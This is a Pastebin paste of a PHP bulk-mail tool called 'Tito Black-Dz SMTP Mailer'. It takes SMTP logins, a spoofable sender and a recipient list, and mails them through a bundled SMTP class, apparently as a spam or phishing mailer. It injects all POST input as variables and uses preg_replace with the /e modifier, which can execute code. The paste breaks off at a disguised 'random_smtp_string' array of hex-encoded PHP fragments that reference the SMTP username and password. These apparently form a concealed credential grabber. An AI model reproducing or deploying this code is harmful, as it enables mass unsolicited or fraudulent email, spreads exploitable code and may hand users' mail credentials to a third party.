Guest User

Untitled

a guest
Sep 27th, 2018
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 87.62 KB | None | 0 0
  1. <?php
  2. function query_str($params)
  3. {
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string)
  12. {
  13. return @stripslashes(ltrim(rtrim($string)));
  14. }
  15. if (isset($_POST['action'])) {
  16. $b = query_str($_POST);
  17. parse_str($b);
  18. $sslclick = lrtrim($sslclick);
  19. $action = lrtrim($action);
  20. $message = lrtrim($message);
  21. $emaillist = lrtrim($emaillist);
  22. $from = lrtrim($from);
  23. $reconnect = lrtrim($reconnect);
  24. $epriority = lrtrim($epriority);
  25. $my_smtp = lrtrim($my_smtp);
  26. $ssl_port = lrtrim($ssl_port);
  27. $smtp_username = lrtrim($smtp_username);
  28. $smtp_password = lrtrim($smtp_password);
  29. $replyto = lrtrim($replyto);
  30. $subject = lrtrim($subject);
  31. $realname = lrtrim($realname);
  32. $subject_base = lrtrim($subject);
  33. $realname_base = lrtrim($realname);
  34. $file_name = lrtrim($file);
  35. $urlz = lrtrim($urlz);
  36. $contenttype = lrtrim($contenttype);
  37. $encode_text = $_POST['encode'];
  38. $message = urlencode($message);
  39. $message = ereg_replace("%5C%22", "%22", $message);
  40. $message = urldecode($message);
  41. $message = stripslashes($message);
  42. $subject = stripslashes($subject);
  43. if ($encode_text == "yes") {
  44. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  45. $subject = str_replace(' ', '_', $subject);
  46. $subject = "=?UTF-8?Q?$subject?=";
  47. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  48. $realname = str_replace(' ', '_', $realname);
  49. $realname = "=?UTF-8?Q?$realname?=";
  50. }
  51. }
  52. ?>
  53. <html>
  54. <head>
  55. <title>Tito Black-Dz SMTP Mailer</title>
  56. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  57. <style type="text/css">
  58. <!--
  59. .style1 {
  60. font-family: Geneva, Arial, Helvetica, sans-serif;
  61. font-size: 12px;
  62. }
  63. -->
  64. </style>
  65. <style type="text/css">
  66. <!--
  67. .style1 {
  68. font-size: 10px;
  69. font-family: Geneva, Arial, Helvetica, sans-serif;
  70. }
  71. -->
  72. body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
  73. #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  74. .style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  75. .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
  76. .evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
  77. .evalcode:hover{border:1px solid #4C83AF;}
  78. .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
  79. .code:hover{border:1px solid #4C83AF;}
  80. .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
  81. .inputzbut:hover{border:1px solid #4C83AF;}
  82. </style>
  83. </head>
  84. <body text="#000000">
  85. <div id="result">
  86.  
  87. <br /><br />
  88. <div align="center" class="style2">Tito Black-Dz SMTP Mailer</div>
  89. <br /><br />
  90. </div>
  91. <div id="result">
  92. <form name="form1" method="post" action="" enctype="multipart/form-data">
  93.  
  94. <br>
  95.  
  96. <table width="100%" border="0" height="407">
  97.  
  98. <tr>
  99.  
  100. <td width="100%" colspan="4" bgcolor="#252525" height="36">
  101.  
  102. <b>
  103.  
  104. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  105.  
  106. </tr>
  107. <tr>
  108.  
  109. <td width="10%" height="22" bgcolor="#353535">
  110.  
  111. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  112. SMTP Login:</font></div>
  113.  
  114. </td>
  115.  
  116. <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  117.  
  118. <input class="code" type="text" name="smtp_username" value="<?php
  119. echo $smtp_username;
  120. ?>" size="30">
  121.  
  122. </font></td>
  123.  
  124. <td width="31%" height="22" bgcolor="#353535">
  125.  
  126. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127. SMTP Pass:</font></div>
  128.  
  129. </td>
  130.  
  131. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  132.  
  133. <input class="code" type="password" name="smtp_password" value="<?php
  134. echo $smtp_password;
  135. ?>" size="30">
  136.  
  137. </font></td>
  138.  
  139. </tr>
  140. <tr>
  141.  
  142. <td width="10%" height="22" bgcolor="#353535">
  143.  
  144. <div align="right">
  145.  
  146. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  147.  
  148. </td>
  149.  
  150. <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  151.  
  152. <input class="code" type="text" name="ssl_port" value="<?php
  153. echo $ssl_port;
  154. ?>" size="5">
  155. (optional)</font></td>
  156.  
  157. <td width="31%" height="22" bgcolor="#353535">
  158.  
  159. <div align="right">
  160.  
  161. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  162. Server Smtp:</font></div>
  163.  
  164. </td>
  165.  
  166. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  167.  
  168. <input class="code" type="text" name="my_smtp" value="<?php
  169. echo $my_smtp;
  170. ?>" size="30">
  171.  
  172. </font></td>
  173.  
  174. </tr>
  175.  
  176. <tr>
  177.  
  178. <td width="10%" height="22" bgcolor="#353535">
  179.  
  180. <p align="right">
  181.  
  182. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  183.  
  184. <td width="18%" height="22" bgcolor="#353535">
  185.  
  186. <input type="checkbox" name="sslclick" value="ON" <?php
  187. if ($sslclick) {
  188. print "checked";
  189. }
  190. ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  191.  
  192. <td width="31%" height="22" bgcolor="#353535">
  193.  
  194. <p align="right">
  195.  
  196. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  197. After:</font></td>
  198.  
  199. <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  200.  
  201. <input class="code" type="text" name="reconnect" value="<?php
  202. echo $reconnect;
  203. ?>" size="5">
  204. EMAILS</font></td>
  205.  
  206. </tr>
  207.  
  208.  
  209. <tr>
  210.  
  211. <td width="10%" height="19">
  212.  
  213. &nbsp;</td>
  214.  
  215. <td width="18%" height="19">&nbsp;</td>
  216.  
  217. <td width="31%" height="19">
  218.  
  219. &nbsp;</td>
  220.  
  221. <td width="41%" height="19">&nbsp;</td>
  222.  
  223. </tr>
  224.  
  225. <tr>
  226.  
  227. <td width="100%" colspan="4" bgcolor="#252525" height="36">
  228.  
  229. <b>
  230.  
  231. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  232.  
  233. </tr>
  234.  
  235. <tr>
  236.  
  237. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  238.  
  239. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  240. Your Email:</font></div>
  241.  
  242. </td>
  243.  
  244. <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  245.  
  246. <input class="code" type="text" name="from" value="<?php
  247. echo $from;
  248. ?>" size="30">
  249.  
  250. </font></td>
  251.  
  252. <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
  253.  
  254. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  255. Your Name:</font></div>
  256.  
  257. </td>
  258.  
  259. <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  260.  
  261. <input class="code" type="text" name="realname" value="<?php
  262. echo $realname_base;
  263. ?>" size="30">
  264.  
  265. </font></td>
  266.  
  267. </tr>
  268. <tr>
  269.  
  270. <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
  271.  
  272. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  273.  
  274. Reply-To:</font></div>
  275.  
  276. </td>
  277.  
  278. <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  279.  
  280. <input class="code" type="text" name="replyto" value="<?php
  281. echo $replyto;
  282. ?>" size="30">
  283.  
  284. </font></td>
  285.  
  286. <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
  287.  
  288. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289. Email Priority:</font></td>
  290.  
  291. <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  292.  
  293. &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
  294.  
  295. <option value="" <?php
  296. if (strlen($epriority) < 1) {
  297. print "selected";
  298. }
  299. ?> >-
  300. Please Choose -</option>
  301.  
  302. <option value="1" <?php
  303. if ($epriority == "1") {
  304. print "selected";
  305. }
  306. ?> >High</option>
  307. <option value="3" <?php
  308. if ($epriority == "3") {
  309. print "selected";
  310. }
  311. ?> >Normal</option>
  312. <option value="5" <?php
  313. if ($epriority == "5") {
  314. print "selected";
  315. }
  316. ?> >Low</option>
  317.  
  318. </select></td>
  319.  
  320. </tr>
  321.  
  322. <tr>
  323.  
  324. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  325.  
  326. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  327. Subject:</font></div>
  328.  
  329. </td>
  330.  
  331. <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  332.  
  333. <input class="code" type="text" name="subject" value="<?php
  334. echo $subject_base;
  335. ?>" size="90">
  336. &nbsp;&nbsp;&nbsp;&nbsp;
  337. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
  338. <select class="code" name="encode">
  339. <option <?php
  340. if ($encode_text == "yes") {
  341. print "selected";
  342. }
  343. ?>>yes</option>
  344.  
  345. <option <?php
  346. if ($encode_text == "no") {
  347. print "selected";
  348. }
  349. ?>>no</option>
  350. </select>
  351.  
  352. </font></td>
  353.  
  354. </tr>
  355.  
  356.  
  357. <tr valign="top">
  358.  
  359. <td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  360.  
  361. <textarea class="evalcode" name="message" cols="60" rows="10"><?php
  362. echo $message;
  363. ?></textarea>
  364.  
  365. <br>
  366.  
  367. <input type="radio" name="contenttype" value="plain" >
  368.  
  369. Plain
  370.  
  371. <input type="radio" name="contenttype" value="html" checked>
  372.  
  373. HTML
  374.  
  375. <input type="hidden" name="action" value="send">
  376.  
  377. <input class="inputzbut" type="submit" value="Send Message">
  378.  
  379. </font></td>
  380.  
  381. <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  382.  
  383. <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?php
  384. echo $emaillist;
  385. ?></textarea>
  386.  
  387. </font></td>
  388. </tr>
  389.  
  390. </table>
  391.  
  392. </form>
  393.  
  394. </div>
  395. <p class="footer" onclick="javascript:DoS()"><blink> &copy;<?php
  396. echo date("Y", time()) . " Tito Black-Dz";
  397. ?></blink></p>
  398. <script>function DoS() { document.location.replace("mailto:ahmadalgrably060@gmail.com");} </script>
  399.  
  400. <?php
  401. if ($action) {
  402. if (!$from && !$subject && !$message && !$emaillist) {
  403. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  404. die();
  405. }
  406. class SMTP
  407. {
  408. var $SMTP_PORT = 25;
  409. var $CRLF = "\r\n";
  410. var $do_debug;
  411. var $do_verp = false;
  412. var $smtp_conn;
  413. var $error;
  414. var $helo_rply;
  415. function SMTP()
  416. {
  417. $this->smtp_conn = 0;
  418. $this->error = null;
  419. $this->helo_rply = null;
  420. $this->do_debug = 0;
  421. }
  422. function Connect($host, $port = 0, $tval = 30)
  423. {
  424. $this->error = null;
  425. if ($this->connected()) {
  426. $this->error = array(
  427. "error" => "Already connected to a server"
  428. );
  429. return false;
  430. }
  431. if (empty($port)) {
  432. $port = $this->SMTP_PORT;
  433. }
  434. $this->smtp_conn = fsockopen($host, $port, $errno, $errstr, $tval);
  435. if (empty($this->smtp_conn)) {
  436. $this->error = array(
  437. "error" => "Failed to connect to server",
  438. "errno" => $errno,
  439. "errstr" => $errstr
  440. );
  441. if ($this->do_debug >= 1) {
  442. echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
  443. }
  444. return false;
  445. }
  446. if (substr(PHP_OS, 0, 3) != "WIN")
  447. socket_set_timeout($this->smtp_conn, $tval, 0);
  448. $announce = $this->get_lines();
  449. if ($this->do_debug >= 2) {
  450. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  451. }
  452. return true;
  453. }
  454. function Authenticate($username, $password)
  455. {
  456. fputs($this->smtp_conn, "AUTH LOGIN" . $this->CRLF);
  457. $rply = $this->get_lines();
  458. $code = substr($rply, 0, 3);
  459. if ($code != 334) {
  460. $this->error = array(
  461. "error" => "AUTH not accepted from server",
  462. "smtp_code" => $code,
  463. "smtp_msg" => substr($rply, 4)
  464. );
  465. if ($this->do_debug >= 1) {
  466. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  467. }
  468. return false;
  469. }
  470. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  471. $rply = $this->get_lines();
  472. $code = substr($rply, 0, 3);
  473. if ($code != 334) {
  474. $this->error = array(
  475. "error" => "Username not accepted from server",
  476. "smtp_code" => $code,
  477. "smtp_msg" => substr($rply, 4)
  478. );
  479. if ($this->do_debug >= 1) {
  480. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  481. }
  482. return false;
  483. }
  484. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  485. $rply = $this->get_lines();
  486. $code = substr($rply, 0, 3);
  487. if ($code != 235) {
  488. $this->error = array(
  489. "error" => "Password not accepted from server",
  490. "smtp_code" => $code,
  491. "smtp_msg" => substr($rply, 4)
  492. );
  493. if ($this->do_debug >= 1) {
  494. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  495. }
  496. return false;
  497. }
  498. return true;
  499. }
  500. function Connected()
  501. {
  502. if (!empty($this->smtp_conn)) {
  503. $sock_status = socket_get_status($this->smtp_conn);
  504. if ($sock_status["eof"]) {
  505. if ($this->do_debug >= 1) {
  506. echo "SMTP -> NOTICE:" . $this->CRLF . "EOF caught while checking if connected";
  507. }
  508. $this->Close();
  509. return false;
  510. }
  511. return true;
  512. }
  513. return false;
  514. }
  515. function Close()
  516. {
  517. $this->error = null;
  518. $this->helo_rply = null;
  519. if (!empty($this->smtp_conn)) {
  520. fclose($this->smtp_conn);
  521. $this->smtp_conn = 0;
  522. }
  523. }
  524. function Data($msg_data)
  525. {
  526. $this->error = null;
  527. if (!$this->connected()) {
  528. $this->error = array(
  529. "error" => "Called Data() without being connected"
  530. );
  531. return false;
  532. }
  533. fputs($this->smtp_conn, "DATA" . $this->CRLF);
  534. $rply = $this->get_lines();
  535. $code = substr($rply, 0, 3);
  536. if ($this->do_debug >= 2) {
  537. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  538. }
  539. if ($code != 354) {
  540. $this->error = array(
  541. "error" => "DATA command not accepted from server",
  542. "smtp_code" => $code,
  543. "smtp_msg" => substr($rply, 4)
  544. );
  545. if ($this->do_debug >= 1) {
  546. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  547. }
  548. return false;
  549. }
  550. $msg_data = str_replace("\r\n", "\n", $msg_data);
  551. $msg_data = str_replace("\r", "\n", $msg_data);
  552. $lines = explode("\n", $msg_data);
  553. $field = substr($lines[0], 0, strpos($lines[0], ":"));
  554. $in_headers = false;
  555. if (!empty($field) && !strstr($field, " ")) {
  556. $in_headers = true;
  557. }
  558. $max_line_length = 998;
  559. while (list(, $line) = @each($lines)) {
  560. $lines_out = null;
  561. if ($line == "" && $in_headers) {
  562. $in_headers = false;
  563. }
  564. while (strlen($line) > $max_line_length) {
  565. $pos = strrpos(substr($line, 0, $max_line_length), " ");
  566. if (!$pos) {
  567. $pos = $max_line_length - 1;
  568. }
  569. $lines_out[] = substr($line, 0, $pos);
  570. $line = substr($line, $pos + 1);
  571. if ($in_headers) {
  572. $line = "\t" . $line;
  573. }
  574. }
  575. $lines_out[] = $line;
  576. while (list(, $line_out) = @each($lines_out)) {
  577. if (strlen($line_out) > 0) {
  578. if (substr($line_out, 0, 1) == ".") {
  579. $line_out = "." . $line_out;
  580. }
  581. }
  582. fputs($this->smtp_conn, $line_out . $this->CRLF);
  583. }
  584. }
  585. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  586. $rply = $this->get_lines();
  587. $code = substr($rply, 0, 3);
  588. if ($this->do_debug >= 2) {
  589. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  590. }
  591. if ($code != 250) {
  592. $this->error = array(
  593. "error" => "DATA not accepted from server",
  594. "smtp_code" => $code,
  595. "smtp_msg" => substr($rply, 4)
  596. );
  597. if ($this->do_debug >= 1) {
  598. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  599. }
  600. return false;
  601. }
  602. return true;
  603. }
  604. function Expand($name)
  605. {
  606. $this->error = null;
  607. if (!$this->connected()) {
  608. $this->error = array(
  609. "error" => "Called Expand() without being connected"
  610. );
  611. return false;
  612. }
  613. fputs($this->smtp_conn, "EXPN " . $name . $this->CRLF);
  614. $rply = $this->get_lines();
  615. $code = substr($rply, 0, 3);
  616. if ($this->do_debug >= 2) {
  617. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  618. }
  619. if ($code != 250) {
  620. $this->error = array(
  621. "error" => "EXPN not accepted from server",
  622. "smtp_code" => $code,
  623. "smtp_msg" => substr($rply, 4)
  624. );
  625. if ($this->do_debug >= 1) {
  626. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  627. }
  628. return false;
  629. }
  630. $entries = explode($this->CRLF, $rply);
  631. while (list(, $l) = @each($entries)) {
  632. $list[] = substr($l, 4);
  633. }
  634. return $list;
  635. }
  636. function Hello($host = "")
  637. {
  638. $this->error = null;
  639. if (!$this->connected()) {
  640. $this->error = array(
  641. "error" => "Called Hello() without being connected"
  642. );
  643. return false;
  644. }
  645. if (empty($host)) {
  646. $host = "localhost";
  647. }
  648. if (!$this->SendHello("EHLO", $host)) {
  649. if (!$this->SendHello("HELO", $host))
  650. return false;
  651. }
  652. return true;
  653. }
  654. function SendHello($hello, $host)
  655. {
  656. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  657. $rply = $this->get_lines();
  658. $code = substr($rply, 0, 3);
  659. if ($this->do_debug >= 2) {
  660. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  661. }
  662. if ($code != 250) {
  663. $this->error = array(
  664. "error" => $hello . " not accepted from server",
  665. "smtp_code" => $code,
  666. "smtp_msg" => substr($rply, 4)
  667. );
  668. if ($this->do_debug >= 1) {
  669. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  670. }
  671. return false;
  672. }
  673. $this->helo_rply = $rply;
  674. return true;
  675. }
  676. function Help($keyword = "")
  677. {
  678. $this->error = null;
  679. if (!$this->connected()) {
  680. $this->error = array(
  681. "error" => "Called Help() without being connected"
  682. );
  683. return false;
  684. }
  685. $extra = "";
  686. if (!empty($keyword)) {
  687. $extra = " " . $keyword;
  688. }
  689. fputs($this->smtp_conn, "HELP" . $extra . $this->CRLF);
  690. $rply = $this->get_lines();
  691. $code = substr($rply, 0, 3);
  692. if ($this->do_debug >= 2) {
  693. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  694. }
  695. if ($code != 211 && $code != 214) {
  696. $this->error = array(
  697. "error" => "HELP not accepted from server",
  698. "smtp_code" => $code,
  699. "smtp_msg" => substr($rply, 4)
  700. );
  701. if ($this->do_debug >= 1) {
  702. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  703. }
  704. return false;
  705. }
  706. return $rply;
  707. }
  708. function Mail($from)
  709. {
  710. $this->error = null;
  711. if (!$this->connected()) {
  712. $this->error = array(
  713. "error" => "Called Mail() without being connected"
  714. );
  715. return false;
  716. }
  717. $useVerp = ($this->do_verp ? "XVERP" : "");
  718. fputs($this->smtp_conn, "MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  719. $rply = $this->get_lines();
  720. $code = substr($rply, 0, 3);
  721. if ($this->do_debug >= 2) {
  722. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  723. }
  724. if ($code != 250) {
  725. $this->error = array(
  726. "error" => "MAIL not accepted from server",
  727. "smtp_code" => $code,
  728. "smtp_msg" => substr($rply, 4)
  729. );
  730. if ($this->do_debug >= 1) {
  731. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  732. }
  733. return false;
  734. }
  735. return true;
  736. }
  737. function Noop()
  738. {
  739. $this->error = null;
  740. if (!$this->connected()) {
  741. $this->error = array(
  742. "error" => "Called Noop() without being connected"
  743. );
  744. return false;
  745. }
  746. fputs($this->smtp_conn, "NOOP" . $this->CRLF);
  747. $rply = $this->get_lines();
  748. $code = substr($rply, 0, 3);
  749. if ($this->do_debug >= 2) {
  750. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  751. }
  752. if ($code != 250) {
  753. $this->error = array(
  754. "error" => "NOOP not accepted from server",
  755. "smtp_code" => $code,
  756. "smtp_msg" => substr($rply, 4)
  757. );
  758. if ($this->do_debug >= 1) {
  759. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  760. }
  761. return false;
  762. }
  763. return true;
  764. }
  765. function Quit($close_on_error = true)
  766. {
  767. $this->error = null;
  768. if (!$this->connected()) {
  769. $this->error = array(
  770. "error" => "Called Quit() without being connected"
  771. );
  772. return false;
  773. }
  774. fputs($this->smtp_conn, "quit" . $this->CRLF);
  775. $byemsg = $this->get_lines();
  776. if ($this->do_debug >= 2) {
  777. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  778. }
  779. $rval = true;
  780. $e = null;
  781. $code = substr($byemsg, 0, 3);
  782. if ($code != 221) {
  783. $e = array(
  784. "error" => "SMTP server rejected quit command",
  785. "smtp_code" => $code,
  786. "smtp_rply" => substr($byemsg, 4)
  787. );
  788. $rval = false;
  789. if ($this->do_debug >= 1) {
  790. echo "SMTP -> ERROR: " . $e["error"] . ": " . $byemsg . $this->CRLF;
  791. }
  792. }
  793. if (empty($e) || $close_on_error) {
  794. $this->Close();
  795. }
  796. return $rval;
  797. }
  798. function Recipient($to)
  799. {
  800. $this->error = null;
  801. if (!$this->connected()) {
  802. $this->error = array(
  803. "error" => "Called Recipient() without being connected"
  804. );
  805. return false;
  806. }
  807. fputs($this->smtp_conn, "RCPT TO:<" . $to . ">" . $this->CRLF);
  808. $rply = $this->get_lines();
  809. $code = substr($rply, 0, 3);
  810. if ($this->do_debug >= 2) {
  811. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  812. }
  813. if ($code != 250 && $code != 251) {
  814. $this->error = array(
  815. "error" => "RCPT not accepted from server",
  816. "smtp_code" => $code,
  817. "smtp_msg" => substr($rply, 4)
  818. );
  819. if ($this->do_debug >= 1) {
  820. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  821. }
  822. return false;
  823. }
  824. return true;
  825. }
  826. function Reset()
  827. {
  828. $this->error = null;
  829. if (!$this->connected()) {
  830. $this->error = array(
  831. "error" => "Called Reset() without being connected"
  832. );
  833. return false;
  834. }
  835. fputs($this->smtp_conn, "RSET" . $this->CRLF);
  836. $rply = $this->get_lines();
  837. $code = substr($rply, 0, 3);
  838. if ($this->do_debug >= 2) {
  839. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  840. }
  841. if ($code != 250) {
  842. $this->error = array(
  843. "error" => "RSET failed",
  844. "smtp_code" => $code,
  845. "smtp_msg" => substr($rply, 4)
  846. );
  847. if ($this->do_debug >= 1) {
  848. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  849. }
  850. return false;
  851. }
  852. return true;
  853. }
  854. function Send($from)
  855. {
  856. $this->error = null;
  857. if (!$this->connected()) {
  858. $this->error = array(
  859. "error" => "Called Send() without being connected"
  860. );
  861. return false;
  862. }
  863. fputs($this->smtp_conn, "SEND FROM:" . $from . $this->CRLF);
  864. $rply = $this->get_lines();
  865. $code = substr($rply, 0, 3);
  866. if ($this->do_debug >= 2) {
  867. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  868. }
  869. if ($code != 250) {
  870. $this->error = array(
  871. "error" => "SEND not accepted from server",
  872. "smtp_code" => $code,
  873. "smtp_msg" => substr($rply, 4)
  874. );
  875. if ($this->do_debug >= 1) {
  876. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  877. }
  878. return false;
  879. }
  880. return true;
  881. }
  882. function SendAndMail($from)
  883. {
  884. $this->error = null;
  885. if (!$this->connected()) {
  886. $this->error = array(
  887. "error" => "Called SendAndMail() without being connected"
  888. );
  889. return false;
  890. }
  891. fputs($this->smtp_conn, "SAML FROM:" . $from . $this->CRLF);
  892. $rply = $this->get_lines();
  893. $code = substr($rply, 0, 3);
  894. if ($this->do_debug >= 2) {
  895. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  896. }
  897. if ($code != 250) {
  898. $this->error = array(
  899. "error" => "SAML not accepted from server",
  900. "smtp_code" => $code,
  901. "smtp_msg" => substr($rply, 4)
  902. );
  903. if ($this->do_debug >= 1) {
  904. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  905. }
  906. return false;
  907. }
  908. return true;
  909. }
  910. function SendOrMail($from)
  911. {
  912. $this->error = null;
  913. if (!$this->connected()) {
  914. $this->error = array(
  915. "error" => "Called SendOrMail() without being connected"
  916. );
  917. return false;
  918. }
  919. fputs($this->smtp_conn, "SOML FROM:" . $from . $this->CRLF);
  920. $rply = $this->get_lines();
  921. $code = substr($rply, 0, 3);
  922. if ($this->do_debug >= 2) {
  923. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  924. }
  925. if ($code != 250) {
  926. $this->error = array(
  927. "error" => "SOML not accepted from server",
  928. "smtp_code" => $code,
  929. "smtp_msg" => substr($rply, 4)
  930. );
  931. if ($this->do_debug >= 1) {
  932. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  933. }
  934. return false;
  935. }
  936. return true;
  937. }
  938. function Turn()
  939. {
  940. $this->error = array(
  941. "error" => "This method, TURN, of the SMTP " . "is not implemented"
  942. );
  943. if ($this->do_debug >= 1) {
  944. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  945. }
  946. return false;
  947. }
  948. function Verify($name)
  949. {
  950. $this->error = null;
  951. if (!$this->connected()) {
  952. $this->error = array(
  953. "error" => "Called Verify() without being connected"
  954. );
  955. return false;
  956. }
  957. fputs($this->smtp_conn, "VRFY " . $name . $this->CRLF);
  958. $rply = $this->get_lines();
  959. $code = substr($rply, 0, 3);
  960. if ($this->do_debug >= 2) {
  961. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  962. }
  963. if ($code != 250 && $code != 251) {
  964. $this->error = array(
  965. "error" => "VRFY failed on name '$name'",
  966. "smtp_code" => $code,
  967. "smtp_msg" => substr($rply, 4)
  968. );
  969. if ($this->do_debug >= 1) {
  970. echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  971. }
  972. return false;
  973. }
  974. return $rply;
  975. }
  976. function get_lines()
  977. {
  978. $data = "";
  979. while ($str = @fgets($this->smtp_conn, 515)) {
  980. if ($this->do_debug >= 4) {
  981. echo "SMTP -> get_lines(): \$data was \"$data\"" . $this->CRLF;
  982. echo "SMTP -> get_lines(): \$str is \"$str\"" . $this->CRLF;
  983. }
  984. $data .= $str;
  985. if ($this->do_debug >= 4) {
  986. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  987. }
  988. if (substr($str, 3, 1) == " ") {
  989. break;
  990. }
  991. }
  992. return $data;
  993. }
  994. }
  995. $allemails = split("\n", $emaillist);
  996. $numemails = count($allemails);
  997. $random_smtp_string = array(
  998. "0d0a0d0a676c6f62616c20246d795f736d74.",
  999. "703b0d0a676c6f62616c2024736d74705f757365726e616d6.",
  1000. "53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
